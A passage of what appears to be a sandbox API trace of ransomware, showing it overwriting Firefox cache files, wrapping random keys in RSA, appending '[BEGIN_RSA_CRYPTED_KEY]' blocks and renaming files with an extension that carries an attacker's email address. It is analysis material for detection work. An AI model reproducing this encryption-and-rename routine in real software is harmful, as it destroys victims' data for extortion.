lpOverlapped=0x0) returned 1 [0281.690] CloseHandle (hObject=0x1b84) returned 1 [0281.691] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\356FCE9F932692DC643481DBA1ABEA937B629F58" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\356fce9f932692dc643481dba1abea937b629f58"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\356FCE9F932692DC643481DBA1ABEA937B629F58.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\356fce9f932692dc643481dba1abea937b629f58.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0281.694] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0281.694] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\3502F57243FBD8F9D25E093A72D603074783A304", dwFileAttributes=0x80) returned 1 [0281.695] ReadFile (in: hFile=0x1b84, lpBuffer=0x2f39028, nNumberOfBytesToRead=0x2cf4, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f39028*, lpNumberOfBytesRead=0x2e3f9b4*=0x2cf4, lpOverlapped=0x0) returned 1 [0281.739] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-11508, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0281.740] WriteFile (in: hFile=0x1b84, lpBuffer=0x343b820*, nNumberOfBytesToWrite=0x2cf4, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x343b820*, lpNumberOfBytesWritten=0x2e3f9b4*=0x2cf4, lpOverlapped=0x0) returned 1 [0281.740] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x2cf4 [0281.740] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0281.740] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0281.741] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0281.741] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0281.741] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0281.742] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="zHdiQqbQ+/wHZdssnhV/Z6wBbYe2Ug9HEnR92mYcFMHwX/J6gD6n6qjRmguM1W7w\nQEONFgpb3mrcPF48hQACwYGX/vYW6vIjpwOAz9gndAAnPOvJ+oRceX9Rvec61Ea8\nXlpfALt1l2H2qrGRhKrM1xsU/mi2BznjZkSycO1fXs8TOgqNTqwgLic7riLf+7Kk\n78nizRmhC5VEkWbLbzKN3H8/YDWl2RCLeISnmlMaXO8An1Alj84sXySQLjtua/Y/\n5+lwWugW3z/BEPFngyIvT07IQs5AtJnf9QM8XebK3J7vYGlknlwQJleQqVkrDebf\nJWSGg0qtzyaA73ccy/4fmA==\n", pcchString=0x2e3f9a8) returned 1 [0281.742] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0281.742] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0281.742] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0281.742] CloseHandle (hObject=0x1b84) returned 1 [0281.743] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a8108 | out: hHeap=0x570000) returned 1 [0281.743] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\3502F57243FBD8F9D25E093A72D603074783A304" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\3502f57243fbd8f9d25e093a72d603074783a304"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\3502F57243FBD8F9D25E093A72D603074783A304.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\3502f57243fbd8f9d25e093a72d603074783a304.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0281.760] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a5ef8 | out: hHeap=0x570000) returned 1 [0281.760] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee65a0 | out: hHeap=0x570000) returned 1 [0281.760] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x3437348 | out: hHeap=0x570000) returned 1 [0281.760] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x3437240 | out: hHeap=0x570000) returned 1 [0281.760] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0281.760] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\34647CED6D78CD19DDE8B8B095D71A8525D25F62", dwFileAttributes=0x80) returned 1 [0281.761] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x3437348 | out: hHeap=0x570000) returned 1 [0281.761] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\34647CED6D78CD19DDE8B8B095D71A8525D25F62" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\34647ced6d78cd19dde8b8b095d71a8525d25f62"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b84 [0281.762] GetFileSizeEx (in: hFile=0x1b84, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=3138) returned 1 [0281.762] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc42) returned 0x3446048 [0281.762] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc42) returned 0x3439010 [0281.762] ReadFile (in: hFile=0x1b84, lpBuffer=0x3446048, nNumberOfBytesToRead=0xc42, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3446048*, lpNumberOfBytesRead=0x2e3f9b4*=0xc42, lpOverlapped=0x0) returned 1 [0281.763] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-3138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0281.763] WriteFile (in: hFile=0x1b84, lpBuffer=0x3439010*, nNumberOfBytesToWrite=0xc42, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3439010*, lpNumberOfBytesWritten=0x2e3f9b4*=0xc42, lpOverlapped=0x0) returned 1 [0281.763] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x3446048 | out: hHeap=0x570000) returned 1 [0281.764] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x3439010 | out: hHeap=0x570000) returned 1 [0281.764] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0xc42 [0281.764] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0281.764] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0281.764] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0281.764] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0281.764] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0281.764] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5a8108 [0281.764] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="VcxTAnAvyYmFlBUP/OrDktpcfE02FoZkVSl39ALAF0BfeghOB+Hg9+mgwZXo/0J6\njicXEGqtaO2K1kEKbitXm5qnyRwwJU3cLShwTpHObYlbszr1c35Moskx+wJ6ZfwA\nGtJjpPGwby8KQ86lkq7FScl/+RRXJ8hCiZOWD7YvMPmT8Qwzs9mQ2thm/3Sg0lfA\nB9YdKGofLpLuc11XAq/PuGWrIYX4kv8vQXWE8eNnDRA5lPJOi0SGoxbXFqacvfOv\n/ahicuB+1wZlnLe6Z55hj3eHEdI+IIKDqwcfZj3K/+S2gt1mB3JLo7Om4E4XO+gT\nxX03OtI6+JemBWgRpCwTOA==\n", pcchString=0x2e3f9a8) returned 1 [0281.764] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0281.764] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0281.764] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0281.764] CloseHandle (hObject=0x1b84) returned 1 [0281.765] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a8108 | out: hHeap=0x570000) returned 1 [0281.765] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\34647CED6D78CD19DDE8B8B095D71A8525D25F62" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\34647ced6d78cd19dde8b8b095d71a8525d25f62"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\34647CED6D78CD19DDE8B8B095D71A8525D25F62.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\34647ced6d78cd19dde8b8b095d71a8525d25f62.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0281.767] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a5ef8 | out: hHeap=0x570000) returned 1 [0281.767] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee6708 | out: hHeap=0x570000) returned 1 [0281.767] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x3437240 | out: hHeap=0x570000) returned 1 [0281.767] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x3437138 | out: hHeap=0x570000) returned 1 [0281.767] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x100) returned 0x3437138 [0281.767] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2ee65a0 [0281.767] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0281.767] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\33A34037B96BD19CC90C0A382CEDF384EE052FCC", dwFileAttributes=0x80) returned 1 [0281.767] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x100) returned 0x3437240 [0281.767] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x17e) returned 0x5a5ef8 [0281.767] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x3437240 | out: hHeap=0x570000) returned 1 [0281.767] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\33A34037B96BD19CC90C0A382CEDF384EE052FCC" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\33a34037b96bd19cc90c0a382cedf384ee052fcc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b84 [0281.768] GetFileSizeEx (in: hFile=0x1b84, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=3583) returned 1 [0281.768] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xdff) returned 0x3446048 [0281.768] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xdff) returned 0x3439010 [0281.768] ReadFile (in: hFile=0x1b84, lpBuffer=0x3446048, nNumberOfBytesToRead=0xdff, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3446048*, lpNumberOfBytesRead=0x2e3f9b4*=0xdff, lpOverlapped=0x0) returned 1 [0281.850] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-3583, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0281.850] WriteFile (in: hFile=0x1b84, lpBuffer=0x3439010*, nNumberOfBytesToWrite=0xdff, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3439010*, lpNumberOfBytesWritten=0x2e3f9b4*=0xdff, lpOverlapped=0x0) returned 1 [0281.851] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x3446048 | out: hHeap=0x570000) returned 1 [0281.851] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x3439010 | out: hHeap=0x570000) returned 1 [0281.851] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0xdff [0281.851] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0281.851] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0281.851] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0281.851] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0281.851] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0281.851] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5a8108 [0281.851] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="xn8Smj6vxtLCZKpJuEa1CXF+wsbhwS04+/5lSHoRRPPlIXNVWsf3tvoNLgKl3OJE\nLRwXQFg4Ik+vqBbS4MdlcDEYGIAn25L2zXLHvi+7uJcBm4YO2MFi0C4k4L869kEN\nCsjHHMeMHWK+BO4Ty25XWAL43CaX85H5VWF7ROLVji/UPIM1EjfJ8uV/rJDa7ZFR\niN+d6fpg8X0YVtO/IIp3jzK1lY705Qxp5P9/LWThMqu2sfTv+uJQ+onoeSOVGFwZ\nIcARlLVauCsnN4cFdgeDE2IepajCJROMvxmYenBgUvUd/1teC4V4n60bzcNvAKsc\nZ3SowId03QfsrUdrRYmJaQ==\n", pcchString=0x2e3f9a8) returned 1 [0281.851] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0281.851] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0281.852] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0281.852] CloseHandle (hObject=0x1b84) returned 1 [0281.852] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a8108 | out: hHeap=0x570000) returned 1 [0281.852] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\33A34037B96BD19CC90C0A382CEDF384EE052FCC" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\33a34037b96bd19cc90c0a382cedf384ee052fcc"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\33A34037B96BD19CC90C0A382CEDF384EE052FCC.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\33a34037b96bd19cc90c0a382cedf384ee052fcc.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0281.854] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a5ef8 | out: hHeap=0x570000) returned 1 [0281.854] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee65a0 | out: hHeap=0x570000) returned 1 [0281.854] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x3437138 | out: hHeap=0x570000) returned 1 [0281.854] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x3437030 | out: hHeap=0x570000) returned 1 [0281.854] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x100) returned 0x3437030 [0281.854] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2ee6910 [0281.854] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0281.854] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\339A4E96E26DFFA4704F0AF081D2B85B12D03939", dwFileAttributes=0x80) returned 1 [0281.854] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x100) returned 0x3437138 [0281.854] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x17e) returned 0x5a5ef8 [0281.855] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x3437138 | out: hHeap=0x570000) returned 1 [0281.855] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\339A4E96E26DFFA4704F0AF081D2B85B12D03939" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\339a4e96e26dffa4704f0af081d2b85b12d03939"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b84 [0281.855] GetFileSizeEx (in: hFile=0x1b84, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=37149) returned 1 [0281.855] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x911d) returned 0x343b820 [0281.855] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x911d) returned 0x3540048 [0281.855] ReadFile (in: hFile=0x1b84, lpBuffer=0x343b820, nNumberOfBytesToRead=0x911d, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x343b820*, lpNumberOfBytesRead=0x2e3f9b4*=0x911d, lpOverlapped=0x0) returned 1 [0281.969] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-37149, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0281.970] WriteFile (in: hFile=0x1b84, lpBuffer=0x3540048*, nNumberOfBytesToWrite=0x911d, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3540048*, lpNumberOfBytesWritten=0x2e3f9b4*=0x911d, lpOverlapped=0x0) returned 1 [0281.970] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x343b820 | out: hHeap=0x570000) returned 1 [0281.970] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x3540048 | out: hHeap=0x570000) returned 1 [0281.970] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x911d [0281.970] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0281.970] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0281.970] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0281.970] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0281.970] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0281.970] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5a8108 [0281.970] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="gyLzbsJ1iasiCIXhL/AnnVaEDQmK+GcmMoLFGyMzOCdCkiQvskcEnPRTxyjU073X\nSXN/h1BeBl3oDj2jfm5x62P3BehUt+lwKCAJVtoE3DWOaVBRX97bGDJ7owlOh6Nh\nn/rgDlgwlaFLE5neaGQKwzsgWlCm7Pew9QI+EKZ/1VrjjcttgFoD29UyAxJXQtvD\nNUhz/UiP4MpmYUp4h9UjPIoNvfRloJ+Gx8Z4KO2xBTrAzCANeb9u8wrpeS0sbTVN\n4Cxp5tGbLvt58yPZXcRMnip0y//T0nWFQ/WXtn0RwTNUeHClif5tEJsdU984xy+G\n7DqEPgTDjse3HhkVgJEHDg==\n", pcchString=0x2e3f9a8) returned 1 [0281.970] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0281.971] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0281.971] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0281.971] CloseHandle (hObject=0x1b84) returned 1 [0281.971] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a8108 | out: hHeap=0x570000) returned 1 [0281.971] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\339A4E96E26DFFA4704F0AF081D2B85B12D03939" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\339a4e96e26dffa4704f0af081d2b85b12d03939"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\339A4E96E26DFFA4704F0AF081D2B85B12D03939.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\339a4e96e26dffa4704f0af081d2b85b12d03939.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0281.973] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a5ef8 | out: hHeap=0x570000) returned 1 [0281.973] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee6910 | out: hHeap=0x570000) returned 1 [0281.973] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x3437030 | out: hHeap=0x570000) returned 1 [0281.973] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x3438b00 | out: hHeap=0x570000) returned 1 [0281.973] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x100) returned 0x3438b00 [0281.973] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2ee65a0 [0281.973] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0281.973] SetFileAttributesW 